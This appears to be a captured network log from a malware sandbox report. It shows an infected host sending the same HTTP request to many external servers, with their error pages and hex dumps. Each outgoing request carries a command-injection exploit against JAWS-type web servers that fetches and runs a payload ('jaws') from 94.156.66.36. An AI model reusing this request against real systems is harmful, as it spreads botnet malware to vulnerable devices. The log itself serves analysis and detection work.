Mar 13, 2024 09:36:48.529638052 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:48.810878992 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:48 GMT Date: Wed, 13 Mar 2024 08:36:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 63 33 35 34 33 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 38 26 23 34 36 3b 32 38 30 65 38 32 33 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3c354317.1710319008.280e8239</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.15	47130	121.152.67.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:48.530021906 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:48.813371897 CET	504	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:36:48 GMT Server: lighttpd/1.4.32 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.15	58350	52.9.249.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:48.974370003 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.136992931 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:49 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.15	53770	109.61.93.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.079917908 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.185389042 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.15	60616	108.167.161.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.083611965 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.510077953 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Mar 2024 08:36:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://dusktodawncosmetics.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 09 09 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0a 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 44 69 76 69 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 73 63 72 69 70 74 3e 76 61 72 20 65 74 5f 73 69 74 65 5f 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 64 75 73 6b 74 6f 64 61 77 6e 63 6f 73 6d 65 74 69 63 73 2e 63 6f 6d 27 3b 76 61 72 20 65 74 5f 70 6f 73 74 5f 69 64 3d 27 67 6c 6f 62 61 6c 27 3b 66 75 6e 63 74 69 6f 6e 20 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 5f 66 61 6c 6c 62 61 63 6b 28 61 2c 62 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 62 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 26 26 30 3d 3d 3d 61 2e 73 68 65 65 74 2e 63 73 73 52 75 6c 65 73 2e 6c 65 6e 67 74 68 29 3b 62 26 26 28 61 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 2c 61 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 2c 61 2e 68 72 65 66 3f 61 2e 68 Data Ascii: <!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US">...<![endif]--><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="http://dusktodawncosmetics.com/xmlrpc.php" />...[if lt IE 9]><script src="http://dusktodawncosmetics.com/wp-content/themes/Divi/js/html5.js" type="text/javascript"></script><![endif]--><script type="text/javascript">document.documentElement.className = 'js';</script><script>var et_site_url='http://dusktodawncosmetics.com';var et_post_id='global';function et_core_page_resource_fallback(a,b){"undefined"===typeof b&&(b=a.sheet.cssRules&&0===a.sheet.cssRules.length);b&&(a.onerror=null,a.onload=null,a.href?a.h
Mar 13, 2024 09:36:51.510144949 CET	1286	IN	Data Raw: 72 65 66 3d 65 74 5f 73 69 74 65 5f 75 72 6c 2b 22 2f 3f 65 74 5f 63 6f 72 65 5f 70 61 67 65 5f 72 65 73 6f 75 72 63 65 3d 22 2b 61 2e 69 64 2b 65 74 5f 70 6f 73 74 5f 69 64 3a 61 2e 73 72 63 26 26 28 61 2e 73 72 63 3d 65 74 5f 73 69 74 65 5f 75 Data Ascii: ref=et_site_url+"/?et_core_page_resource="+a.id+et_post_id:a.src&&(a.src=et_site_url+"/?et_core_page_resource="+a.id+et_post_id))}</script><title>404 Not Found \| Dusk to Dawn Cosmetics</title><meta name='robots' content='max-image-preview:la
Mar 13, 2024 09:36:51.510217905 CET	1286	IN	Data Raw: 69 2e 67 65 74 43 6f 6e 74 65 78 74 26 26 69 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 76 61 72 20 61 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 65 3d 28 70 2e 63 6c Data Ascii: i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode,e=(p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0),i.toDataURL());return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDat
Mar 13, 2024 09:36:51.510257959 CET	1286	IN	Data Raw: 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d Data Ascii: ceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.atta
Mar 13, 2024 09:36:51.510338068 CET	1286	IN	Data Raw: 61 63 79 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 6d 65 64 69 61 65 6c 65 Data Ascii: acy.min.css' type='text/css' media='all' /><link rel='stylesheet' id='wp-mediaelement-css' href='https://c0.wp.com/c/6.0.7/wp-includes/js/mediaelement/wp-mediaelement.min.css' type='text/css' media='all' /><link rel='stylesheet' id='wc-bloc
Mar 13, 2024 09:36:51.510390997 CET	1286	IN	Data Raw: 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a Data Ascii: gb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rg
Mar 13, 2024 09:36:51.510427952 CET	1286	IN	Data Raw: 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 3a 20 6c 69 6e 65 61 72 2d 67 72 Data Ascii: 202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: ur
Mar 13, 2024 09:36:51.510464907 CET	1286	IN	Data Raw: 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 Data Ascii: s-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color
Mar 13, 2024 09:36:51.510567904 CET	1286	IN	Data Raw: 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 Data Ascii: mber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.
Mar 13, 2024 09:36:51.510682106 CET	1286	IN	Data Raw: 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 Data Ascii: order-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color-

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.15	48922	185.141.189.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.111615896 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.274764061 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:49 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: max-age=3600, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 28 6e 6f 6e 65 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 23 62 6f 64 79 2d 63 6f 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html> <head> <title>(none)</title> <meta http-equiv="Content-Type" content="text/html; charset=utf8" /> <style type="text/css"> body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; background-color:#367E8E; scrollbar-base-color: #005B70; scrollbar-arrow-color: #F3960B; scrollbar-DarkShadow-Color: #000000; color: #FFFFFF;margin:0; } a { color:#021f25; text-decoration:none} h1 { font-size: 18px; color: #FB9802; padding-bottom: 10px; background-image: url(sys_cpanel/images/bottombody.jpg); background-repeat: repeat-x; padding:5px 0 10px 15px;margin:0; } #body-con
Mar 13, 2024 09:36:49.274804115 CET	1039	IN	Data Raw: 74 65 6e 74 20 70 20 7b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 09 6c 69 6e 65 2d Data Ascii: tent p { padding-left: 25px; padding-right: 25px; line-height: 18px; padding-top: 5px; padding-bottom: 5px; } h2 { font-size: 14px; font-weight: bold; colo

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.15	38548	5.35.247.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.121915102 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.306297064 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.15	52346	152.0.241.23	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.124577999 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.279036045 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 13, 2024 09:36:49.279572964 CET	1286	IN	Data Raw: 64 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d36<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 13, 2024 09:36:49.279805899 CET	1286	IN	Data Raw: 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 Data Ascii: == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUsho
